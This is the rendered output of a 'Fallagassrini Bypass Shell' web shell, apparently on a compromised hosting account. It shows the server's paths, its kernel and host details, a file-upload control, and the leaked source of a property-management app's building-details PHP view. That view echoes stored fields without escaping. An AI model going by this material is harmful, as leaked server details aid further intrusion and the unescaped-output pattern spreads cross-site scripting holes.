? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/master/single_building_details.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');   
$facility=$this->mastermodel->getdatas('facility','facility_id');
$amenities=$this->mastermodel->getdatas('amenities','amenities_id');
?>  
<div class="icons_main">
   <div  class="icons">   
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('master','viewinmastersearch','search_building_details','view_building_details','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div  class="icons single_icon">   
        <img src="<?=base_url()?>assets/images/edit-icon.gif"  title="Edit" width="25" height="25" alt="Edit" align = "center" class="clickimage" onclick="editformdata('master','edit_building_details','<?=$viewinfo->building_id;?>','building_details','building_id','edit_building_details')" alt="" />
    </div>
    <div class="icons_caption">
        <h4> Building Details</h4>
    </div>
</div>
<?php
$attributes=array('id'=>'validateform','class'=>'validate');
echo form_open('',$attributes); 
?>
<div class="grid_6">
    <div class="box">
            <div class="header main">  Building Details </div>  
         
            <div class="content no-padding">
                <div class="section _100">
                    <label>Type of Building</label>
                    <div class="single_page">
                           <?=$viewinfo->building_type?>
                    </div>
                </div> 
                
                <div class="section _100">
                    <label>Building Name </label>
                    <div class="single_page">
                            <?=$viewinfo->building_name?>
                    </div>
                </div>                 
                 
                <div class="section _100">
                    <label>Building Code </label>
                    <div class="single_page">
                            <?=$viewinfo->building_code;?>
                    </div>
                </div>   
                <div class="section _100">
                    <label> Location </label>
                     <div class="single_page">
                       <?=$this->mastermodel->get_single_field_value('location','location_name','location_id',$viewinfo->building_location_id)?>                            
                     </div>
                </div>
                    <div class="section _100">
                        <label> Address </label>
                        <div class="single_page">
                                <?=$viewinfo->building_address?>
                        </div>
                    </div> 
                    
                     <div class="section _100">
                        <label> PO Box</label>
                        <div class="single_page">
                                <?=$viewinfo->building_po_code?>
                        </div>
                    </div>     
                    
                    
                    
                    <div class="section _100">
                        <label> Country </label>
                        <div class="single_page">
                                <?=$viewinfo->building_country?>
                        </div>
                    </div>
                    <div class="section _100">
                    <label> Agent </label>
                    <div class="single_page">
                        
                            <?=$this->mastermodel->get_single_field_value('agent','agent_name','agent_id',$viewinfo->building_agent_id)?>
                            
                  </div>
                 </div>      
                <div class="section _100">
                    <label>Remarks</label>
                    <div>
                            <?=$viewinfo->building_remarks?>
                    </div>
                </div>
                    
            </div>
               
    </div> 
</div> 
<div class="grid_6">
        <div class="box">
            <div class="header main">  Amenities </div>    
            <div class="content no-padding">
               <div class="section _100">                    
                    <?php 
                    if(!empty($amenity_details))
                    {
                        foreach($amenity_details as $list)
                        {
                            $amenity_array[]=$list['amenity_type_id'];
                        }
                    }
                    else
                    {
                       $amenity_array[]=""; 
                    }
                    $i=1;
                    foreach($amenities as $row)
                    {
                        
                    ?>
                    <div class="section">                                            
                       
                        <div class="single_page" style="margin-top: 7px;">
                            <?php if(in_array($row['amenities_id'], $amenity_array)) {echo $row['amenities_type'];}?> 
                        </div>
                    </div>
                    <?php
                    $i++;
                    }
                    ?>
                </div> 
            </div>
        </div>    
    </div> 

<div class="grid_6">
        <div class="box">
            <div class="header main">  Facilities </div> 
            <div class="content no-padding">
               <div class="section _100">                      
                    <?php 
                    if(!empty($facility_details))
                    {
                        foreach($facility_details as $list)
                        {
                            $facility_array[]=$list['facility_type_id'];
                        }
                    }
                    else 
                    {
                      $facility_array[]="";
                    }
                    $j=1;
                    foreach($facility as $row)
                    {
                        
                    ?>
                   <div class="section" >                                            
                        
                        <div class="single_page">
                        <?php if(in_array($row['facility_id'], $facility_array)) {echo $row['facility_type'];}?>
                        </div>
                    </div>
                    <?php
                    $j++;
                    }
                    ?>
                </div>   
            </div>
        </div>    
    </div> 
<div class="grid_6">
        <div class="box">
            <div class="header main"> Supervisor </div>  
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Employee Supervisor</th>
                                                                       
                    </tr>
                    <?php  
                    $employee1=$this->mastermodel->get_data('employee','1','employee_supervisor');
                    $i=1;
                    foreach($supervisor as $sup)
                    { 
                    ?>
                        <tr>
                        <td>
                            <select disabled name="building_supervisor_id"<?=$i++?> id="supervisor_id" class="required chzn-done">
                                <?php
                                
                                foreach($employee1 as $emp)
                                {
                                ?>
                                    <option value="<?=$emp['employee_id'];?>" <?php if ($sup['building_supervisor_id'] == $emp['employee_id']) { echo 'selected'; }?>><?=$emp['employee_name'];?></option> 
                                <?php 
                                } 
                                ?>
                            </select>
                        </td>
                        
                        </tr>
                    <?php 
                        $i++;
                     } 
                     ?>                     
                </table>
            </div>
        </div>    
    </div> 
<div class="grid_6">
        <div class="box">
            <div class="header main"> Watchman</div>  
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Employee Watchman</th>
                                                                       
                    </tr>
                   <?php 
                        $employee=$this->mastermodel->get_data('employee','1','employee_watchman');
                        $i=1;
                        foreach($watchman as $sup)
                        { 
                        ?>
                            <tr>
                            <td>
                                <select disabled name="building_watchman_id"<?=$i?> id="watchman_id" class="required chzn-done">
                                    <?php

                                    foreach($employee1 as $emp)
                                    {
                                    ?>
                                        <option value="<?=$emp['employee_id'];?>" <?php if ($sup['building_watchman_id'] == $emp['employee_id']) { echo 'selected'; }?>><?=$emp['employee_name'];?></option> 
                                    <?php 
                                    } 
                                    ?>
                                </select>
                            </td>
                            <?php $i++ ?>
                            
                            </tr>
                        <?php 
                         } 
                     ?>
                </table>           
            </div>                           
        </div>    
    </div> 
<?php
if(!empty($commercial_details))
{
    ?>
<div  id="commercial_building">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Commercial Building Details </div>  
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Office No</th>
                        <th>Square Meter</th>                                                
                    </tr>
                    <?php                                        
                                               
                        foreach($commercial_details as $list)    
                        {
                    ?>
                    <tr>                       
                        <td><?=$list['commercial_floor'];?></td>
                        <td><?=$list['commercial_office'];?></td>
                        <td><?=$list['commercial_square'];?></td>                                                
                    </tr>
                    <?php
                        }                                               
                    ?>                           
                </table> 
            </div>
        </div>    
    </div> 
</div> 
<?php
}
if(!empty($commercial_villa_details))
{   
?>
<div  id="residential_villa">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Villa Details </div> 
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>Square Meter</th>                                                           
                    </tr>
                    <?php 
                     foreach($commercial_villa_details as $row)
                     {
                    ?>
                    <tr>                       
                        <td><?=$row['commercial_villa_number']?></td>
                        <td><?=$row['commercial_villa_square']?></td>                                          
                    </tr>
                    <?php
                     }
                     ?>                    
                </table> 
              </div>
        </div>    
    </div> 
</div> 
<div  id="residential_villa_summary">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Summary </div>
             <div class="content no-padding">
                <table class="table">
                   <tr>                   
                        <th style="width: 350px;"> Total Number of Villa </th>
                        <th>
                         <?=$this->mastermodel->number_rows('building_commercial_villa_details','building_id',$row['building_id'])?>
                        </th>
                    </tr>
                                           
                </table> 
             </div>
        </div>    
    </div> 
</div> 
<?php
}
if(!empty($residential_villa_details))
{   
?>
<div  id="residential_villa">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Villa Details </div>
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>No of Bedroom</th>                                                           
                    </tr>
                    <?php 
                     foreach($residential_villa_details as $row)
                     {
                    ?>
                    <tr>                       
                        <td><?=$row['residential_villa_number']?></td>
                        <td><?=$row['residential_bedroom_no']?></td>                                          
                      
                    </tr>
                    <?php
                     }
                     ?>                    
                </table> 
              </div>
        </div>    
    </div> 
</div> 
<div  id="residential_villa_summary">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Summary </div> 
            <div class="content no-padding">
                <table class="table">
                   <tr>                   
                        <th style="width: 350px;"> Total Number of Villa </th>
                        <th>
                         <?=$this->mastermodel->number_rows('building_residential_villa_details','building_id',$row['building_id'])?>
                        </th>
                    <tr>
                    <?php
                    $bedroom_all=array();
                    foreach ($residential_villa_details as $row) 
                     {    
                        $bedroom_all[]=$row['residential_bedroom_no'];                                            
                     }
                     $bedroom_all=  array_unique($bedroom_all);
                     foreach($bedroom_all as $item)
                        {
                        echo '<tr>';
                        echo '<th>Number of '.$item.' Bedrooms</th>';                                              
                        echo '<th>'.$this->mastermodel->number_rows('building_residential_villa_details','building_id',$row['building_id'],'residential_bedroom_no',$item);
                        echo '</tr>';                        
                        }
                     ?>                          
                </table> 
            </div>
        </div>    
    </div> 
</div> 
<?php
}
if(!empty($apartment_details))
{
?>
<div  id="residential_apartment">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Apartment Details </div>          
            <div class="content no-padding">    
            <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Apartment No</th>
                        <th>No of Bedroom</th>                                                 
                    </tr>
                    <?php
                    foreach ($apartment_details as $row) 
                     {                                            
                    ?>
                    <tr>                       
                        <td><?=$row['apartment_floor']?></td>
                        <td><?=$row['apartment_no']?></td>                                          
                        <td><?=$row['apartment_bedroom_no']?></td>                        
                    </tr>
                    <?php
                     }
                     ?>                                       
                </table>  
            </div>
        </div>    
    </div> 
</div> 
<div  id="residential_apartment_summary">
    <div class="grid_12">
        <div class="box">            
            <div class="header main">  Summary </div>
            <div class="content no-padding">
                <table class="table">
                   <tr>                   
                        <th style="width: 350px;"> Total Number of Apartments </th>
                        <th>
                         <?=$this->mastermodel->number_rows('building_apartment_details','building_id',$row['building_id'])?>
                        </th>
                    <tr>
                    <?php
                    $bedroom_all=array();
                    foreach ($apartment_details as $row) 
                     {    
                        $bedroom_all[]=$row['apartment_bedroom_no'];                                            
                     }
                     $bedroom_all=  array_unique($bedroom_all);
                     foreach($bedroom_all as $item)
                        {
                        echo '<tr>';
                        echo '<th>Number of '.$item.' Bedrooms</th>';                                              
                        echo '<th>'.$this->mastermodel->number_rows('building_apartment_details','building_id',$row['building_id'],'apartment_bedroom_no',$item);
                        echo '</tr>';                        
                        }
                     ?>                          
                </table> 
                </div>
        </div>    
    </div> 
</div> 
<?php
}
?>

<?php
$data['master_id']=$viewinfo->building_id;
$data['controller']='master';
$data['controller_function']='viewinmastersearch';
$data['page']='view_building_details';
$data['model_function']='search_building_details';
$this->load->view('master/uploaded_files',$data);
echo form_close();
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net